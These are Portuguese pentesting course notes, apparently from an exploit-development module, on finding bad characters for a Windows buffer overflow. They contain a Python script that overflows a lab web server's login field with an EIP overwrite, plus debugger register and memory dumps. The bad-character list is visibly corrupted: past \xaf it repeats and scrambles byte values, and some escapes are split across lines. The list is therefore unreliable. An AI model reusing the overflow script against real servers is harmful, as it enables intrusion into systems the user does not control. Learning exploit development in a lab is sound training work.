

Identificando BadChars

→ Esse é um processo bem maçante

→ [Criando uma Lista de Caracteres em Python](#) [semana 09/Buffer Overflow: Windows 10/ Criando uma lista de caracteres em python]

→ Vamos usar a lista gerada na aula passada referenciada pelo link acima para fazer os testes de badchars

```
root@pentesting:/home/desec/Desktop# cat bad.txt
\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21
\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43
\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64
\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86
\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8
\xa9\xaa\xab\xac\xad\xae\xaf\x0b\x1b\x2b\x3b\x4b\x5b\x6b\x7b\x8b\x9b\xab\xbb\xcb\xdb\xeb\xfb\x0c\x1c\x2c\x3c\x4c\x5c\x6c\x7c\x8c\x9c\x
ca\xcb\xcc\xcd\xce\xcf\x0d\x1d\x2d\x3d\x4d\x5d\x6d\x7d\x8d\x9d\xad\xbd\xcd\xdd\xde\xdf\x0e\x1e\x2e\x3e\x4e\x5e\x6e\x7e\x8e\x9e\xea\xeb\x
xec\xed\xee\xef\x0f\x1f\x2f\x3f\x4f\x5f\x6f\x7f\x8f\x9f\xfa\xfb\xfc\xfd\xfe\xff
```

→ O objetivo é manipularmos nosso script incluindo todos esses caracteres para serem enviados e entrão retiramos todos aqueles que não são reconhecidos pela aplicação

```
#!/usr/bin/python

import socket

bad = ("<lista dos caracteres acima>")
dados = "A"*780 + "BBBB" + bad
tam = len(dados) + 20

request+="POST /login HTTP/1.1\r\n"
request+="Host: 192.168.0.5\r\n"
request+="User-Agent: Mozilla/5.0 (x11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0\r\n"
request+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
request+="Accept-Language: en-US,en;q=0.5\r\n"
request+="Accept-Encoding: gzip, deflate\r\n"
request+="Referer: http://192.168.0.5/login\r\n"
request+="Content-Type: application/x-www-form-urlencoded\r\n"
request+="Content-Length: "+str(tam)+"\r\n"
request+="DNT: 1\r\n"
request+="Connection: close\r\n"
request+="Upgrade-Insecure-Requests: 1\r\n"
request+="\r\n"
request+="username="+dados+"&password=A"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.5",80))
s.send(request)
```

→ Lembra de já tirar de cara o 00 pois ele é um caractere geralmente problemático

```

Registers (FPU)
EAX 00000001
ECX 006FE1BB
EDX 00000337
EBX 00000000
ESP 0067744C
EBP 006F46E8 ASCII "login"
ESI 006F991E
EDI 01056B58
EIP 42424242

C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)

```

→ Continuamos sobrepondo o EIP, mas o interesse agora é o ESP

Address	Hex dump																ASCII
0067740C	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
0067741C	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
0067742C	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
0067743C	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
0067744C	05	06	07	08	09	00	05	01	50	05	00	00	90	71	04	01	05060708090005015005000090710401
0067745C	58	6B	05	01	06	00	00	00	08	AB	67	00	00	00	00	00	886B05010600000008AB670000000000
0067746C	00	00	00	00	00	F0	94	00	01	00	00	00	00	00	00	00	0000000000F094000100000000000000
0067747C	00	00	00	00	00	00	00	00	02	00	00	00	70	7F	6F	00	000000000000000002000000707F6F0000
0067748C	00	00	00	00	00	00	00	00	00	00	00	00	00	F4	94	00	00000000000000000000000000F4940000
0067749C	01	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	01000000000000000000000000000000
006774AC	C4	D0	67	00	F8	00	67	00	70	74	67	00	00	00	00	00	C4D06700F8006700707467000000000000
006774BC	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00000000000000000000000000000000
006774CC	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00000000000000000000000000000000
006774DC	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00000000000000000000000000000000

- Veja que o endereço depois do 09, que seria o 0a não foi aceito, então já temos um badchar
- Depois de repetir imensamente esse processo, identificou-se os seguintes badchars:
- 00 0a 0d 25 26 2b 3d